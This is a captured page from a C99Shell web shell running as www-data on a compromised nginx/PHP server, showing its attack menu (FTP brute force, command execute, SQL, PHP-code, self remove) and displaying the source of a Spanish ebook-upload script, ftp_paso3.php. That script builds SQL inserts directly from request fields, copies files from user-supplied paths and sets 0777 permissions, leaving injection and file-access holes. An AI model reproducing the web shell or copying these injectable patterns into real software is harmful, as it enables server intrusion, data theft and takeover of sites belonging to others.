!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/ftpuploadng/   drwxrwxr-x
Free 83.32 GB of 96.73 GB (86.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ftp_paso3.php (11.55 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es-es">   
<?

ini_set
('auto_detect_line_endings',TRUE);
?><head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />  
<BASE TARGET='ventana'>

<link rel="stylesheet" type="text/css" href="../nuevo.css">

<link rel="STYLESHEET" type="text/css" href="../estilo.css">
  
<script src="../AJAX/provincias_ajax/js/AjaxCode.js"></script>
</head>
<body>
<link rel="stylesheet" href="/frames/zebraforms/templates/default/style.css" type="text/css">

<script type="text/javascript" src="/frames/zebraforms/templates/default/htmlform_jscript.js"></script>
<?php
//error_reporting(E_ERROR | E_WARNING | E_PARSE );
error_reporting(0);

require_once 
"../classes/dUnzip2.inc.php";
require_once 
"../classes/dZip.inc.php";
include(
"../classes/fb2.classtxapuza.php");
include(
"../zebraforms/class.htmlform.php"); 
include(
"../conn.php")  ;  
$debug=false;
if (
$debug){
    ECHO 
"<h1>EN PRUEBAS TODAVIA.... NO SEAS IMPACIENTON<br>
    EL LIBRO QUE HAS SUBIDO, NO HA SUIDO CORRECTO. ESPERA A QUE ACABE CON LAS PRUEBAS</H1>"
;
  

}
  
  
/* 
      [HTMLForm_formname] => form
    [control_titulo] => Willow
    [control_autor_nombre_recomendado] => drew
    [control_autor_apellido_recomendado] => wayland
    [control_saga] => wilow 01
    [control_version] => 1.0
    [control_correccion] => 
    [control_sustituir] => 1
    [control_anyo] => 
    [control_nick] => 
    [options] => 37
    [fichero0] => cron3.png
    [fichero1] => cron2.png
    [fichero2] => cron4.png
    [fichero3] => RE_Conspiracion_umbrella.jpg
    [fichero4] => RE_inframundo3.jpg
    [submit] => enviar datos

 */ 
 
$saga=false;
 
$correccion=false;
 
$version=false
  
  if (!
$_REQUEST['submit']){
        die();
  }
  
  
  if (
$_REQUEST['control_saga']) $saga="(".ucwords(trim($_REQUEST['control_saga'])).")";
   if (
$_REQUEST['control_version']) $version="(v.".trim($_REQUEST['control_version']).")";
    if (
$_REQUEST['control_correccion']) $correccion="(c.".trim($_REQUEST['control_correccion']).")";   
   
  
  
  
$titulo_autor=$_REQUEST['control_autor_apellido_recomendado'].",".$_REQUEST['control_autor_nombre_recomendado'];

 
$titulo_resto="";

if (
$saga){
      
$titulo_resto=$saga." ".ucfirst(trim($_REQUEST['control_titulo']));
}else{
    
$titulo_resto=ucfirst(trim($_REQUEST['control_titulo']));  
}
$titulo_ok=$titulo_resto;

if (
$version$titulo_resto.=$version;

if (
$correccion)$titulo_resto.=$correccion;
$titulo=$titulo_autor."-".$titulo_resto;
$titulo=elimina_acentos(str_replace(" ","_",$titulo));



$sqlid="select max(id) as id from libros";
$rowid=mysql_fetch_array(mysql_query($sqlid,$conn));
unset(
$ultimoid);
$ultimoid=$rowid['id']+1

 
 
$fb2=new fb2($_REQUEST['fichero_original_fb2']) ;
 
$fb2->set_autor(elimina_acentos_light(ucwords(strtolower($_REQUEST['control_autor_nombre_recomendado']))),elimina_acentos_light(ucwords(strtolower($_REQUEST['control_autor_apellido_recomendado']))));
 
$fb2->set_titulo($titulo_resto);
 
$fb2->get_document_info();
 
$fb2->get_programa(); 
 
$fb2->set_autor_documento("Libro alojado en http://papyre.co.cc o http://papyre.fb2.net");   
 
$fb2->graba($_REQUEST['directorio']."/".$titulo.".fb2");
 
  
$fichero=$ultimoid."-".rand(111,999).".zip"
 
 
$ficheroziptemporal=$_REQUEST['directorio']."/".$fichero;
 
$zip=new dzip($ficheroziptemporal);
 
$zip->addFile($_REQUEST['directorio']."/".$titulo.".fb2",$titulo.".fb2");
 
 
// ahora debieramos meter los ficheros auxiliares
 
  
for ($f=0;$f<=9;$f++){
        if (@
$_REQUEST["fichero$f"]>''){
             
            
 
$zip->addfile($_REQUEST['directorio']."/".$_REQUEST["fichero$f"],$_REQUEST["fichero$f"]);    
      }
  }
  
 
$zip->save();

   
// y lo copiamos al directorio libros
   
   
 
   
if (copy($zip->filename,"../../newlibros/$fichero")){
          echo 
"copia realizada";

          
          
   }else{
          echo 
"fallo en copia";
   }


if (
$debug){
    
print_r($zip); 
    echo 
"filename fichero=$zip->filename, ruta destino=".str_replace("http://papyrefb2.net/",'../../',RUTA_FTP2.$fichero)."<br>"
}


// ya tenemos los datos, ahora a procesarlos....

/*
    [control_titulo] => (un Dia En La Vida De Ivan Denisovich
    [control_autor_nombre_recomendado] => Alexandr
    [control_autor_apellido_recomendado] => Solschenizyn
    [control_saga] => 
    [control_version] => 
    [control_correccion] => 
    [control_sustituir] => 0
    [control_anyo] => 1945
    [control_nick] => darklooker
    [sinopsis] => Prueba de sinopsis con e�es y ac�ntos g�nter
    [fichero0] => pabellones_lejanos.jpg
    [directorio] => ../tmp/509439
    [fichero_original_fb2] => ./../tmp/509439/Solschenizyn,Alexandr-(Gulag_01)_UN_DIA_EN_LA_VIDA_DE_IVAN_DENISOVICH(V_45)(C_45).fb2
    [portada_] => ../includes2/ahogado.jpg
    [programa_]=>Book Designer 5.0
    [options] => 57

*/

 
$tamano=intval(filesize($zip->filename)/1000);
 
  
$fecha=NEW DateTime(date("Y-m-d H:i:s"));
  
$ruta=RUTA_FTP2.$fichero;
 
 
 

 
 
 
$sqla="insert into libros (id,autor,titulo,version,correo,genero,subgenero,fecha_subida,ruta,tamano,anyo,programa,borrar,inftp)
  values
  (
$ultimoid,
  '"
.ucwords($_REQUEST['control_autor_apellido_recomendado']).", ".ucfirst($_REQUEST['control_autor_nombre_recomendado'])."',
  '"
.trim($titulo_ok)."',
  '"
.$version.$correccion."',
  '
{$_REQUEST['control_nick']}',
  '
{$_REQUEST['genero']}',
  '
{$_REQUEST['subgenero']}',
  '"
.$fecha->format("Y-m-d H:i:s")."',
  '
$ruta',
  
$tamano,
  '
{$_REQUEST['control_anyo']}',
  '
{$_REQUEST['programa_']}',
  '
{$_REQUEST['control_sustituir']}',
  1  
  )"

  if (
$debug){echo $sqla; echo "la ruta es $ruta#<br>";    }
  
  
// afalta se ejecutar la query., tratamos el gr�fico-sinopsys
  
//$sqlid="select max(id) as id from libros";
//$rowid=mysql_fetch_array(mysql_query($sqlid,$conn));
//unset($ultimoid);
//$ultimoid=$rowid['id']; 
  

  
  
  // SI HAY CORECCION, LO PONEMOS
  
  
IF (strlen(trim($_REQUEST['version_correccion']))>0){
    
$sql3="insert into comentarios (bookid,usuario,comentario, fecha) 
  values ( 
  
$ultimoid,
  '',
  '<b>Novedades de versi�n/correcci�n</b><br>
{$_REQUEST['version_correccion']}',
  '"
.$fecha->format("Y-m-d H:i:s")."'
  )"
;
  }else{
        
$sql3="select id from sinopsis where id =1";
  }
  
  if (
$debug){echo $sql2;     }
  
// ahora, copiamos y reescalamos el gr�fico
  
  //primero, le cambiamos el nombre:
  
if ($debug){echo "<br>".$_REQUEST['portada_'].",../includes2/{$_REQUEST['rnd']}/$ultimoid.{$_REQUEST['extensionimagen']}<br>";}

  if (
copy ($_REQUEST['portada_'],"../includes2/{$_REQUEST['rnd']}/$ultimoid.{$_REQUEST['extensionimagen']}")){
  
//unlink($_REQUEST['portada_']);
  
chmod("../includes2/{$_REQUEST['rnd']}/$ultimoid.{$_REQUEST['extensionimagen']}",0777);
  }else{
        echo 
"fallo en proceso de imagen";
  }
@
chmod ("../includes2/",0777); 
 
$origen="../includes2/{$_REQUEST['rnd']}/";
$destino='../../includes/';
$resize=1;
$calidad=90;
if (
$debug){
    echo 
"origen de imgress=$origen, destino=$destino<br>";
    echo 
"<b>imgress($origen,$destino,$resize,$calidad)</b><br>";
}

@
imgress($origen,$destino,$resize,$calidad); 

// y borramos el origen.....
//unlink("../includes2/{$_REQUEST['rnd']}/$ultimoid.{$_REQUEST['extensionimagen']}"); 
mysql_query($sqla,$conn);
if (
mysql_error()){
    
//echo $sqla."<br>";
    
echo mysql_error();
}



 
$tamano_imagen=intval(filesize("../../includes/$ultimoid.{$_REQUEST['extensionimagen']}"));

  
  
$sql2="insert into sinopsis (sinopsis, id_book, imagename,tamano_imagen)
  values  
  (
  '
{$_REQUEST['sinopsis']}',
  
$ultimoid,
  '
$ultimoid.{$_REQUEST['extensionimagen']}',
  
$tamano_imagen
  )"
;  

    
mysql_query($sql2,$conn);
if (
mysql_error()){
    
//echo $sql2."<br>";
    
echo mysql_error();


mysql_query($sql3,$conn);
if (
mysql_error()){
    
//echo $sql2."<br>";
    
echo mysql_error();


 if (
trim($_REQUEST['sinopsis'])>''){
mysql_query("update libros set sinopsis='*' where id=$ultimoid",$conn);
 }
   echo 
"<center><h1> Libro subido</h1>";
   
$form = new HTMLForm('form''post','');
   
$obj=$form->add('button''control_atras''Volver atr�s');  
    
$obj->setAttributes(array('onclick' =>'document.location.href="./ftp_upload.php"')); 
  
           
$form->render();
  

                                                                
 @
deltree("../includes2/{$_REQUEST['rnd']}");
@
deltree("../tmp/");
@
mkdir("../tmp/",0777,true);
chmod("../tmp/",0777);
 
  
  
  
  
  
  
  
 function 
imgress($diror,$dirdest,$val,$qual){
$q=$qual;
//open the directory
if (is_dir($diror)) {
   if (
$dh opendir($diror)) {
      while ((
$file readdir($dh)) !== false) {
        if(
$file == "." || $file == ".."){continue;}
                 
$k=explode(".",$file);
                  if(
strpos($k[1],"jpg")===|| strpos($k[1],"jpeg")===0){
            
$salva=$dirdest.$file;
                    
$image=$diror.$file;
                    IF (
$debug){
                        echo 
"<br>en imgress...diror=$diror,dirdest=$dirdest (salva=$salva, image=$image)<br>";
                    }
            
$im =imagecreatefromjpeg("$image");
            
$x=imagesx($im);
            
$y=imagesy($im); 
            if (
$x<>132 or $y<>216){
            
$k=array("salidaenfalso","salidaenfalso");
            } 
            
$thumbnail=imagecreatetruecolor(132,216);
            
$im_ridimensionata=imagecopyresized$thumbnail$im0000132,
            
216$x$y);
            
imagejpeg($thumbnail$salva$q);        
                    }
            elseif(
strpos($k[1],"gif")===0){
            
$salva=$dirdest.$file;
                    
$image=$diror.$file;
            
$im =imagecreatefromgif("$image");
            
$x=imagesx($im);
            
$y=imagesy($im);   
            
$thumbnail=imagecreatetruecolor(132,216);
            
$im_ridimensionata=imagecopyresized$thumbnail$im0000132,
            
216$x$y);
            
imagegif($thumbnail$salva$q);
                }
            elseif(
strpos($k[1],"png")===0){
            
$salva=$dirdest.$file;
                    
$image=$diror.$file;
            
$im =imagecreatefrompng("$image");
            
$x=imagesx($im);
            
$y=imagesy($im);   
            
$thumbnail=imagecreatetruecolor(132,216);
            
$im_ridimensionata=imagecopyresized$thumbnail$im0000132,
            
216$x$y);
            
imagepng($thumbnail$salva$q);
                }
            else{
                
//echo "$diror File not compatible(no jpg,gif or png)";
            

            
flush();  
            }
            
closedir($dh);
            }else{
                echo 
"no se pudo abrir";
            }
    }
}  
  
  
 function 
delTree($dir) {
    
$files glob$dir '*'GLOB_MARK );
    foreach( 
$files as $file ){
        if( 
substr$file, -) == '/' )
            
delTree$file );
        else
            
unlink$file );
    }
   
    if (
is_dir($dir)) @rmdir$dir );
   


function 
chmodr($path$filemode) {
    if (!
is_dir($path))
        return 
chmod($path$filemode);

    
$dh opendir($path);
    while ((
$file readdir($dh)) !== false) {
        if(
$file != '.' && $file != '..') {
            
$fullpath $path.'/'.$file;
            if(
is_link($fullpath))
                return 
FALSE;
            elseif(!
is_dir($fullpath) && !chmod($fullpath$filemode))
                    return 
FALSE;
            elseif(!
chmodr($fullpath$filemode))
                return 
FALSE;
        }
    }

    
closedir($dh);

    if(
chmod($path$filemode))
        return 
TRUE;
    else
        return 
FALSE;
}
  
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0056 ]--